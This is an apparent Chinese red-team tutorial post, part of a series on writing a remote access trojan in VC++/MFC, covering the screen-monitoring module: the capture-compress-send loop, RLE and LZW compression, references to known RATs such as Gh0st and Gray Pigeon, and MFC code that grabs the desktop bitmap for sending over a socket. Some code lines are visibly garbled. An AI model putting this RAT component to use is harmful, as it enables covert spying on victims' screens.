红队专题-从零开始VC++C/S远程控制软件RAT-MFC-屏幕监控

news2024/9/20 10:53:19

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红队专题

  • 招募六边形战士队员
  • [24]屏幕监控-(1)屏幕查看与控制技术的讲解
    • 图像压缩算法
    • 图像数据转换
    • 其他
  • [25]---屏幕监控(2)查看屏幕的实现

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[24]屏幕监控-(1)屏幕查看与控制技术的讲解

屏幕监控的流程

服务端
while(true)
{
    获取图像数据();
    //
    发送图像数据();
}

客户端
while()
{
    //
    接受图像数据();
    显示图像();
}

查看屏幕的 define 宏信号

1024*768 分辨率 产生 大小 bmp
2.25M
肉眼 每秒24帧

基本流程:获取图像 — 发送图像 — 显示图像

实际流程:获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像

图像压缩算法

char *p;   // 字符数组 
int GetScreenSize();
p = new GetScreenSize(); p[] = {BYTE}; //unsigned char
p[100] = {aaaccccbbbbbbaeccefsgsdf...};

RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW
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RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba}
适用于屏幕数据中存在大量同样数据

RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}

LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221}
解压:根据字典来解压 适用于任何情况

图像数据转换

zlib.lib JPEG类(有损压缩)
1024*768 分辨率
164kb

http://www.cctry.com/thread-50457-1-1.html //zlib库的使用
http://www.cctry.com/thread-5653-1-1.html //zlib库的例子

CapScreenJpeg JPEG算法

其他

隔行扫描算法 屏幕分块获取 屏幕数据判断
http://www.cctry.com/thread-45471-1-1.html //隔行扫描

隔行扫描:
灰鸽子 Delphi
DRAT Delphi
Gh0st C++

LZW:
Vipshell
守候远控

压缩库
PCShare

综合使用 + 汇编实现
1:150 倍

[25]—屏幕监控(2)查看屏幕的实现

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void CScreen::GetScreen()
{
CDC* pDeskDC = CWnd::GetDesktopWindow()->GetDC(); //获取桌面画布对象
CRect rc;
CWnd::GetDesktopWindow()->GetClientRect(rc); //获取屏幕的客户区域
int width = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度
int height = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度
CDC memDC; //定义一个内存画布
memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布
CBitmap bmp;
bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图
memDC.SelectObject(&bmp); //选中位图对象
BITMAP bitmap;
bmp.GetBitmap(&bitmap);
panelsize = 0; //记录调色板大小
//需要增加颜色判断算法
//bitmap.bmBitsPixel = 4; //更改颜色
if (bitmap.bmBitsPixel<16) //判断是否为真彩色位图
{
panelsize = pow(2.0,(double)bitmap.bmBitsPixelsizeof(RGBQUAD));
}
HeadTotal = (int)panelsize + sizeof(BITMAPINFO);
pBMPINFO = (BITMAPINFO
)LocalAlloc(LPTR,sizeof(BITMAPINFO)+(int)panelsize);
pBMPINFO->bmiHeader.biBitCount = bitmap.bmBitsPixel;//4
pBMPINFO->bmiHeader.biClrImportant = 0;
pBMPINFO->bmiHeader.biCompression = 0;
pBMPINFO->bmiHeader.biHeight = height;
pBMPINFO->bmiHeader.biPlanes = bitmap.bmPlanes;
pBMPINFO->bmiHeader.biSize = sizeof(BITMAPINFO);
pBMPINFO->bmiHeader.biSizeImage = bitmap.bmWidthBytes*bitmap.bmHeight;
pBMPINFO->bmiHeader.biWidth = width;
pBMPINFO->bmiHeader.biXPelsPerMeter = 0;
pBMPINFO->bmiHeader.biYPelsPerMeter = 0;
memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY);
TotalSize = bitmap.bmWidthBytes * bitmap.bmHeight;
pData = new BYTE[TotalSize];
if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)==0)
{
printf(“Return 0\n”);
//delete pData;
pData = NULL;
return;
}
}

#include “Common.h”
#include “MySocket.h”

class CScreen
{
private:
void GetScreen();
void SendBmpHeaderinfo();
void SendBmpData();
BYTE* pData;
BITMAPINFO *pBMPINFO;
CMySocket m_sock;
UINT TotalSize;
int HeadTotal;
double panelsize;
public:
HANDLE m_h;
void CleanData();
void SendScreenData();
CScreen(void);
~CScreen(void);
bool flag;
SOCKET m_sock_screen;
};

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